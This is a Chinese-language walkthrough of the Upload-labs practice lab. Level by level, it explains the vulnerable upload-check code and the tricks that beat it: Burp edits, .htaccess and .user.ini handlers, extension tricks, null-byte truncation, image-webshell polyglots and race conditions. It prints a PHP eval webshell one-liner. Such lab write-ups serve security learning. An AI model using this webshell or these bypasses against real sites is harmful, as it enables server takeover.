Upload-labs
Pass-01
1,解释代码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
第一段是function的意思是函数,定义了一个名为function的函数
第二行进行了缩进,所以以下部分都是函数内容
var的意思是把后面的变量限定为当前函数的变量,而不是全局变量
GetElementByName是一种获取元素的方法
(4)document:getElementById、getElementByName、getNodeByTagName-CSDN博客
document是一个全局对象,代表整个HTML或XML文档,用来访问和修改元素HMTL元素
之后是一个if的条件判断,检查file变量是否为空,如果为空就会输出请选择要上传的文件并结束函数,返回错误值
然后在定义了一个allow_ext和ext_name
file.substring(file.lastIndexOf("."))
这串代码的意思是用lastIndexof来找到文件名中的.并从这之后截取字符串获得后缀名
然后用indexof查找ext_name是否在allow_ext中,如果不就返回-1在就返回其位置
如果返回-1就会显示
"该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name
这是一个字符串的拼接,然后返回错误值
2,做题WP
这题考的是一个前端认证,我最开始的想法是上传一个php的一句话木马,然后用bp抓包把上传类型改为jpg,然而开启bp后任然可以验证上传文件是否为图片,也就是我们的图片是在处理后上传给服务器的。
这里有两种方法,因为这个编程用的是JavaScript,我们可以在开发者工具中将它禁用
之后我们就可以上传后缀为php的文件,并显示一个显示不出来的图片,右键图片复制地址,用蚁剑链接就可以了
另一种方法就是用bp抓包,只不过是将上传的1.jpg后缀改为php就行了,而不是去管文件类型
Pass-02
1,解释代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
最开始定义is_upload为false,msg为空
然后是一串的if判断
先通过post传参获得submit的值,接着检查UPLOAD_PATH是否存在,如果存在就会判断上传文件类型是否为图片,如果不是就会跳到13行,然后获取上传文件的临时地址,然后构建了一个名为img_path的路径,具体路径为UPLOAD_PATH路径+上传文件的临时路径
接着将临时文件移动到img_path,如果移动成功,is_upload就为true,否则就显示上传出错
如果最开始的UPLOAD_PATH路径不存在就会直接跳到17行
2,做题WP
这题虽然代码看着又是检查路径是否存在又是移动路径的,但是实际上跟Pass-01大差不差
用第二种方法,先上传一个jpg后缀的一句话木马,用bp抓包修改后缀,赋值图片地址后用蚁剑链接就可以了
原来这题想考MIME检查
首先得了解什么是MIME
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
就是修改文件类型为图片就行了,Pass-01前端绕过的第二中解法也可以这里使用,因为这个没有前端检查,我们可以上传php文件后在bp中修改文件类型来骗过MIME检查。
这才是正常解法改内容类型(Content-Type)
Pass-03
1,解释代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里在第5行定义了一个不准上传的后缀列表,第6行获取了上传文件的原名并删除两端的空白
第8行是获取后缀名并给到地址file_ext(代码中给了注释的没写)
后面第13行的判断,检查file_ext是否在deny_ext中,不在就可以上传
符合条件后,14行获取文件在临时目录中的名字,15行生成上传文件的文件名,文件名由当前日期,一个随机数和文件后缀组成
2,做题wp
这题经分析后,最容易想到的是将后缀改为php的其他形式经行绕过,但是后面上传后的文件文件名会改变,变成未知,但还是先试一下
可以用phtml,php1,php2 --- php7等,和大小写拼接等Php,pHp
PHP5是一种PHP版本间的区分,该后缀名并不常见,另外还有.PHP2、.PHP3和.PHP4文件。而当前最新的PHP版本为PHP7。
上传成功了,突然想起之前做题时碰到过类似的找目录
这种图片类型的直接右键复制地址就行了,然后再用蚁剑连接
pass-04
1,解释代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里的源码与pass03差不多,就是禁止上传的后缀增多了,基本过滤掉了所有php的绕过方式
2,做题wp
这里就要用到.htaccess文件
他会将同目录下的文件识别为php
这里看详细代码
AddType application/x-httpd-php .png
这里就是将所有的 .png文件识别为php
文件上传--.hatccess--.user.ini_文佳上传。hatacess-CSDN博客
这里注意,网上的.htaccess文件的写法有很多
我能运行的是
SetHandler application/x-httpd-php .png
上传之后之前用蚁剑连接跳出java报错的也没有了,就是报错不一样了,先在访问图片位置报错500
这是个服务器错误,但我不知道怎么处理,但应该是传上去了
Pass-05
1,代码解释
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
我怎么看着和pass04差不多?
哦,原来是.htaccess文件被过滤了
2.做题wp
那就可以用.user.ini文件了
创建文件
GIF89a
auto_prepend_file=a.jpg
这里我们指定的文件是a.jpg,里面写入我们的一句话木马
GIF89a
<script language='php'> @eval($_POST['cmd']);</script>
这里的GIF89a是伪装为图片文件,从而绕过内容检查,加不加上都不影响
之后尝试访问.user.ini文件,但是显示图片解析错误?
看wp说其实是要访问php文件才会包含上传的a.jpg
在upload-labs中,在upload目录中有自带的readme.php文件,我们尝试访问
可以看到也是上传成功了
Pass-06
这关会随机上传的路径 这可以用右键复制图片地址解决,但要是平常做题碰到不能复制地址的要怎么办?
这里的过滤并不严格,而且没有做小写处理,我们可以用大小写绕过
把一句话木马命名为1.phP,就可以绕过后缀名检查,右键图片复制链接
文件名时日期加一串数字,但是怎么又返回500错误啊网上说可能是apache的问题,但换了版本还是这样
换了Nginx就没问题了
Pass-07
这题把04和05的方法都过滤了
看了wp知道了,因为设置的不能上传文件后缀都是通过子字符串比较,只要有一处不一样就可以通过
比如过滤.php,我们上传.php+空格,就能绕过比较,但这只限于Windows系统,不适用于linux系统,因为在访问文件时,Windows会自动过滤后缀的空格,而Linux不会
可以看到上传上去了,前面是空格加错地方
改正后显示上传错误
服了,哪来这么多问题,看代码是文件没有移动到目标路径的问题 不管了,但方法是这样的
Pass-08
这里就有去空了
但是没有之前的去点操作 (pass-07)
所以我想应该可以在文件后加一个.来绕过,因为这个截取后缀名的操作是截取.后的所有字符
用bp抓包加.
不是怎么又出错了
网上搜索了,说可能是php版本的问题,换一下
ok啊,也是成功了
Pass-09
比之前少了去除DATA的这个操作
什么是::$DATA
在windows操作系统中,当你看到文件名后面跟着 ::$DATA 时,它表示一个文件的附加数据流,数据流是一种在文件内部存储额外数据的机制。
在文件上传漏洞中,::$DATA可以简单理解为 一个通行证,可以冲破黑名单的防线。
所以任何我们可以再后面加上::$DATA来绕过黑名单
成功上传
看wp时还有其他解法,我发现之前的题也可也用
这种去.去空格的操作只进行了一次,我们就可以多写几个来绕过
Pass-10
这里对文件名进行了细致处理,但还是可以绕过
用bp抓包,在文件将1.phP变成1.phP. . ,这样
处理后任然可以正常上传
Pass-11
这里有一个将黑名单后缀删除的操作
但是deny_ext这个变量存储的是子字符串
如果我们传入1.pphphp,中间的php被删去,剩下的还是php
又因为这个操作只进行了1次,所以可以成功绕过
Pass-12
这里限制了只能传如上的文件,这样就没办法了,只能老实传图片文件
看提示 看了wp,因为这个路径可控,我们上传的一句话木马改为图片后缀
但在保存时,我们可以用某种方式截断,而路径并没有做处理
比如传入upload/1.php(截断)1.jpg
这样1.jpg的内容就存入到1.php中了
0x00截断
0x00是字符串的结束标识符,进行截断处理。
但在url中,十六进制00表示为%00
但是这个方法是有限制的
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
先上传一个图片,然后抓包修改路径
这样就可以了
Pass-13
这里任然可以控制上传路径
不过改成了post提交
还是像之前一样,上传,改路径
但是post传入的数据不经过url编码,所以%00是不行的
所以要对%00解码
这里可以用bp自带的解码,输入%00,解码后是不是字符,所以看不见
因为我截不出图,就网上找的 这个神经靶场有时候上传不上去
试了几次都是上传失败
Pass-14
终于用到图片🐎了 ,制作方式
!!!
刚刚看了提示,这里会检查文件头,所以实际上是要3.png+1.php把一句话木马加在图片后
(哎哟哦,我🐟将军)
Pass-15(与16搞反了)
之前提到可以用GIF98a绕过这个检查
但我本身就是图片合成,应该可以吧
这里php版本小于5.4没有这个函数
我之前一直用的低版本php,直接上传会清空页面
换了高版本就能上传了
Pass-16
这是个什么函数呢
PHP中的getimagesize()函数是用于获取图像的尺寸和文件类型信息的函数。该函数可以读取图像文件并返回一个包含图像尺寸和文件类型信息的数组。这个数组包含了图像的宽度、高度、类型以及图像的MIME类型等信息。
看起来只是获取图片文件信息,实际上从源码看也是判断是否是图片,之前的GIF98a应该就不行了
但是只要是一张正常图片合成的🐎应该就可以
Pass-17
其实就是用上传的文件生成一个新的图片
先试一下 直接返回空了,换个低版本php又可以了
六百六十六,烟斗不带烟,看源码应该是生成新图片失败了 那上传一张没有木马的图,成功了
看一下有什么不一样,从预览图看,两者只有文件名的区别,大小上重新渲染的变小了
再用010比较一下
不是,除了文件头没变,其他都变完了,这我传个蛋啊
看wp可以用gif图片搞
两个文件都能访问,他跟我将找不到文件,换到桌面就可以了
可以看到其中会有匹配的部分,在这里面插入一句话就行了
Pass-18
提示让我们代码审计,当上传失败时,会执行这个unlink()函数
但是命明可以直接上传一个图片🐎
我又去网上搜了一下,按这个意思是,他是传上去后判断删除,用bp的重发器一直发送并尝试链接
而且不满足的文件没有重新命名这个过程
抢在文件删除之前链接上,文件就不会删除了
所以可以直接上传一个php文件,并重复链接
Pass-19
又提示需要代码审计
一上来就看到一个myupload,去目录里看了下源码
太长了,根本看不完
看wp解释,myupload对上传文件进行了一系列检查和处理,并有相应的错误处理和报错
就是上传图片马配合文件包含漏洞拿到shell
上传后我去目录里看了一下,这个直接上传到了根目录里面
而且根据源码,文件名好像是用的时间戳
如果对于没有返回图片复制不到地址的应该怎么办呢?
Upload-Lab第19关:用图片马和条件竞争技巧,轻松应对上传限制!_upload-labs靶场第19关-CSDN博客
这个写的很详细,如果没有返回地址,就要抢着上传,让他没来得及修改成功就链接,这样就修改不了上传的文件了
就像平常用电脑时当某文件打开时我们就不能删除它一样
还学到了用python和while来自带链接,而不是用手去刷
Pass-20
这次可以自己更改保存名称 这个我直接上传图片🐎,就只是改变了文件名,并没有其他操作
而且图片马也可用
去看下wp这里到达考的什么
原来是想直接上传一句话而不用文件包含漏洞执行图片马
因为文件名可控,这题利用move_uploaded_file的一个特性,会自动忽略后面的/.
我们上传1.php,将文件保存改为upload-19.php/.
可以看到图片马和一句话都成功了
Pass-21
又让代码审计
但是可以直接上传图片码这里也可以命名上传文件 ,但重命名用的不是move_uploaded_file,就不能用 ./这个漏洞了
这里用到几个函数 这里限制了后缀只能为图片,要上上传php文件,就要想办法绕过这个检查
$file = explode('.', strtolower($file))
这里将文件名变成数组,用.为分隔,并小写
比如$file='MAn.jpg'
执行之后$file=['man','jpg']
我们绕过第一个检查后
这里的filename用file的第一个元素和长度减一个元素链接起来
又变成man.jpg,然后又移入目标路径中
因为这里取文件后缀名用的数组的方式,我们就可以单独给文件后缀命名来绕过第一个检查
end()这个函数会直接取到最后一个,所以这个数组可以不知两个元素(文件名和后缀名)
我们赋值save_name[0]=1.php
save_name[1]不赋值,save_name[2]=png
1可以用来绕过第一个检查,然后到后面的拼接操作时
reset访问了第一个元素1.php,然后又因为这个元素里面只有两个元素,2-1=1
就会访问save_name[1],然而这里为空
所以就直接得到了1.php
有点意思哈,也是打完了